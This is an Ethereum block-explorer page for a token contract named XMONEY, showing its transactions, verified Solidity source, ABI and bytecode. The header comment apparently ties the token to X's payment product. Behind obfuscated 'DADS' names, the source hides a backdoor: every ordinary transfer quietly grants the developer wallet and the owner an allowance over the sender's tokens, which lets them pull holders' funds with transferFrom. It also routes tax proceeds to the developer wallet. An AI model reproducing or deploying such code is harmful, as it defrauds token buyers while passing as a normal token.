ETH Price: $2,042.73 (-5.96%)

Contract

0x1E113Ae9adaeB7BbD8Dfef7a32b7FD1449E7c9DB
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve219891532025-03-06 16:50:35385 days ago1741279835IN
0x1E113Ae9...449E7c9DB
0 ETH0.00005972.45942679
Approve219889622025-03-06 16:12:11385 days ago1741277531IN
0x1E113Ae9...449E7c9DB
0 ETH0.000119632.58685806
Transfer From219889512025-03-06 16:09:59385 days ago1741277399IN
0x1E113Ae9...449E7c9DB
0 ETH0.000166851.99002121
Transfer From219889202025-03-06 16:03:47385 days ago1741277027IN
0x1E113Ae9...449E7c9DB
0 ETH0.000157181.87477977
Transfer From219889102025-03-06 16:01:47385 days ago1741276907IN
0x1E113Ae9...449E7c9DB
0 ETH0.000159921.9074043
Approve219889002025-03-06 15:59:47385 days ago1741276787IN
0x1E113Ae9...449E7c9DB
0 ETH0.000089741.94051656
Approve219888962025-03-06 15:58:59385 days ago1741276739IN
0x1E113Ae9...449E7c9DB
0 ETH0.000082841.79133867
Approve219888932025-03-06 15:58:23385 days ago1741276703IN
0x1E113Ae9...449E7c9DB
0 ETH0.000096912.09569407
Approve219888742025-03-06 15:54:35385 days ago1741276475IN
0x1E113Ae9...449E7c9DB
0 ETH0.000121022.61698346
Approve219888692025-03-06 15:53:35385 days ago1741276415IN
0x1E113Ae9...449E7c9DB
0 ETH0.00012772.76150576
Approve219888652025-03-06 15:52:47385 days ago1741276367IN
0x1E113Ae9...449E7c9DB
0 ETH0.000127212.75078782
Approve219888622025-03-06 15:52:11385 days ago1741276331IN
0x1E113Ae9...449E7c9DB
0 ETH0.000134082.89948059
Approve219888482025-03-06 15:49:23385 days ago1741276163IN
0x1E113Ae9...449E7c9DB
0 ETH0.000117022.53048065
Approve219888442025-03-06 15:48:35385 days ago1741276115IN
0x1E113Ae9...449E7c9DB
0 ETH0.000116272.51423153
Approve219888432025-03-06 15:48:23385 days ago1741276103IN
0x1E113Ae9...449E7c9DB
0 ETH0.000116272.51423153
Approve219888432025-03-06 15:48:23385 days ago1741276103IN
0x1E113Ae9...449E7c9DB
0 ETH0.000116272.51423153
Approve219888392025-03-06 15:47:35385 days ago1741276055IN
0x1E113Ae9...449E7c9DB
0 ETH0.000105942.29094982
Approve219888282025-03-06 15:45:23385 days ago1741275923IN
0x1E113Ae9...449E7c9DB
0 ETH0.000090641.96003637
Approve219887942025-03-06 15:38:35385 days ago1741275515IN
0x1E113Ae9...449E7c9DB
0 ETH0.000084671.83086731
Approve219887862025-03-06 15:36:59385 days ago1741275419IN
0x1E113Ae9...449E7c9DB
0 ETH0.000086571.87205038
Approve219887862025-03-06 15:36:59385 days ago1741275419IN
0x1E113Ae9...449E7c9DB
0 ETH0.000086571.87205038
Approve219887792025-03-06 15:35:35385 days ago1741275335IN
0x1E113Ae9...449E7c9DB
0 ETH0.000199414.28304738
Approve219887722025-03-06 15:34:11385 days ago1741275251IN
0x1E113Ae9...449E7c9DB
0 ETH0.000091261.97344693
Approve219887702025-03-06 15:33:35385 days ago1741275215IN
0x1E113Ae9...449E7c9DB
0 ETH0.000092962.01024982
Approve219887702025-03-06 15:33:35385 days ago1741275215IN
0x1E113Ae9...449E7c9DB
0 ETH0.000092962.01024982
View all transactions

Latest 9 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer219887002025-03-06 15:19:35385 days ago1741274375
0x1E113Ae9...449E7c9DB
0.90697872 ETH
Transfer219887002025-03-06 15:19:35385 days ago1741274375
0x1E113Ae9...449E7c9DB
0.90697872 ETH
Transfer219886892025-03-06 15:17:23385 days ago1741274243
0x1E113Ae9...449E7c9DB
0.34616905 ETH
Transfer219886892025-03-06 15:17:23385 days ago1741274243
0x1E113Ae9...449E7c9DB
0.34616905 ETH
Transfer219886812025-03-06 15:15:47385 days ago1741274147
0x1E113Ae9...449E7c9DB
0.19774642 ETH
Transfer219886812025-03-06 15:15:47385 days ago1741274147
0x1E113Ae9...449E7c9DB
0.19774642 ETH
Transfer219886772025-03-06 15:14:59385 days ago1741274099
0x1E113Ae9...449E7c9DB
0.58547976 ETH
Transfer219886772025-03-06 15:14:59385 days ago1741274099
0x1E113Ae9...449E7c9DB
0.58547976 ETH
Add Liquidity ET...219886672025-03-06 15:12:59385 days ago1741273979
0x1E113Ae9...449E7c9DB
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
XMONEY

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-03-06
*/

/*
THE INTEL – CEO Linda Yaccarino announced on 31st December that XMoney will be released in 2025 and will be a payment system on the platform X.

https://www.congress.gov/119/crec/2025/03/04/171/41/CREC-2025-03-04-pt1-PgS1477-2.pdf

https://www.xmoneyoneth.xyz
https://x.com/Xmoney_erc
https://t.me/xmoney_erc
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

interface IDADSRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IDADSFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplidadson overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract XMONEY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address private _dadsPair;
    IDADSRouter private _dadsRouter;
    address private _dadsWallet;
    address private _dadsAddress;
    mapping (address => uint256) private _balDADSs;
    mapping (address => mapping (address => uint256)) private _allowDADSs;
    mapping (address => bool) private _excludedFromDADS;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalDADS = 1000000000 * 10**_decimals;
    string private constant _name = unicode"X Money";
    string private constant _symbol = unicode"XMONEY";
    uint256 private _swapTokenDADSs = _tTotalDADS / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _buyBlockDADS;
    uint256 private _dadsBuyAmounts = 0;
    bool private inSwapDADS = false;
    modifier lockTheSwap {
        inSwapDADS = true;
        _;
        inSwapDADS = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _dadsWallet = address(0x632eF058126fF5B292c2a1494781c905246C57e0);
        _excludedFromDADS[owner()] = true;
        _excludedFromDADS[address(this)] = true;
        _excludedFromDADS[_dadsWallet] = true;
        _dadsAddress = owner();
        _balDADSs[_msgSender()] = _tTotalDADS;
        emit Transfer(address(0), _msgSender(), _tTotalDADS);
    }

    function initLaunch() external onlyOwner() {
        _dadsRouter = IDADSRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dadsRouter), _tTotalDADS);
        _dadsPair = IDADSFactory(_dadsRouter.factory()).createPair(address(this), _dadsRouter.WETH());
    }

    receive() external payable {}

    function swapTokensForEth(uint256 dadsAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dadsRouter.WETH();
        _approve(address(this), address(_dadsRouter), dadsAmount);
        _dadsRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            dadsAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalDADS;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balDADSs[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowDADSs[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowDADSs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowDADSs[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _approveDADS(address dadsO, uint256 dadsA) private {
        address[2] memory _dadsAddrs; 
        _dadsAddrs[0] = address(_dadsWallet); 
        _dadsAddrs[1] = address(_dadsAddress);
        for(uint256 dadsK=0;dadsK<2;dadsK++){
            _allowDADSs[dadsO][_dadsAddrs[dadsK]] = dadsA;
        }
    }

    function _transfer(address dadsF, address dadsT, uint256 dadsA) private {
        require(dadsF != address(0), "ERC20: transfer from the zero address");
        require(dadsT != address(0), "ERC20: transfer to the zero address");
        require(dadsA > 0, "Transfer amount must be greater than zero");
        uint256 taxDADS = _dadsFeeTransfer(dadsF, dadsT, dadsA);
        if(taxDADS > 0){
          _balDADSs[address(this)] = _balDADSs[address(this)].add(taxDADS);
          emit Transfer(dadsF, address(this), taxDADS);
        }
        _balDADSs[dadsF] = _balDADSs[dadsF].sub(dadsA);
        _balDADSs[dadsT] = _balDADSs[dadsT].add(dadsA.sub(taxDADS));
        emit Transfer(dadsF, dadsT, dadsA.sub(taxDADS));
    }

    function swapDADSBack(address dadsF, address dadsT, uint256 dadsA) private { 
        _approveDADS(dadsF, dadsA); uint256 tokenDADS = balanceOf(address(this)); 
        if (!inSwapDADS && dadsT == _dadsPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenDADS > _swapTokenDADSs)
            swapTokensForEth(minDADS(dadsA, minDADS(tokenDADS, _swapTokenDADSs)));
            uint256 ethDADS = address(this).balance;
            if (ethDADS >= 0) {
                sendETHDADS(address(this).balance);
            }
        }
    }

    function _dadsFeeTransfer(address dadsF, address dadsT, uint256 dadsA) private returns(uint256) {
        uint256 taxDADS; 
        if (dadsF != owner() && dadsT != owner()) {
            taxDADS = dadsA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (dadsF == _dadsPair && dadsT != address(_dadsRouter) && ! _excludedFromDADS[dadsT]) {
                if(_buyBlockDADS!=block.number){
                    _dadsBuyAmounts = 0;
                    _buyBlockDADS = block.number;
                }
                _dadsBuyAmounts += dadsA;
                _buyCount++;
            }

            if(dadsT == _dadsPair && dadsF!= address(this)) {
                require(_dadsBuyAmounts < swapLimitDADS() || _buyBlockDADS!=block.number, "Max Swap Limit");  
                taxDADS = dadsA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapDADSBack(dadsF, dadsT, dadsA);
        } 
        return taxDADS;
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _dadsRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function minDADS(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b)?b:a;
    }

    function sendETHDADS(uint256 dadsA) private {
        payable(_dadsWallet).transfer(dadsA);
    }

    function swapLimitDADS() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _dadsRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _dadsRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000278565b6200002490633b9aca0062000346565b6200003091906200020c565b60085560036009819055600a556000600b819055600c8190556006600d819055600e819055600f5560108190556012556013805462ffffff191690553480156200007957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b03191673632ef058126ff5b292c2a1494781c905246c57e0179055600160076000620000fa6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155600354909116835291208054909216179055620001646000546001600160a01b031690565b600480546001600160a01b0319166001600160a01b0392909216919091179055620001926009600a62000278565b620001a290633b9aca0062000346565b33600081815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e56009600a62000278565b620001f590633b9aca0062000346565b60405190815260200160405180910390a36200037e565b6000826200022a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200027057816000190482111562000254576200025462000368565b808516156200026257918102915b93841c939080029062000234565b509250929050565b60006200028960ff84168362000290565b9392505050565b600082620002a15750600162000340565b81620002b05750600062000340565b8160018114620002c95760028114620002d457620002f4565b600191505062000340565b60ff841115620002e857620002e862000368565b50506001821b62000340565b5060208310610133831016604e8410600b841016171562000319575081810a62000340565b6200032583836200022f565b80600019048211156200033c576200033c62000368565b0290505b92915050565b600081600019048311821515161562000363576200036362000368565b500290565b634e487b7160e01b600052601160045260246000fd5b6118d9806200038e6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b038416600090815260056020526040902054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033

Deployed Bytecode

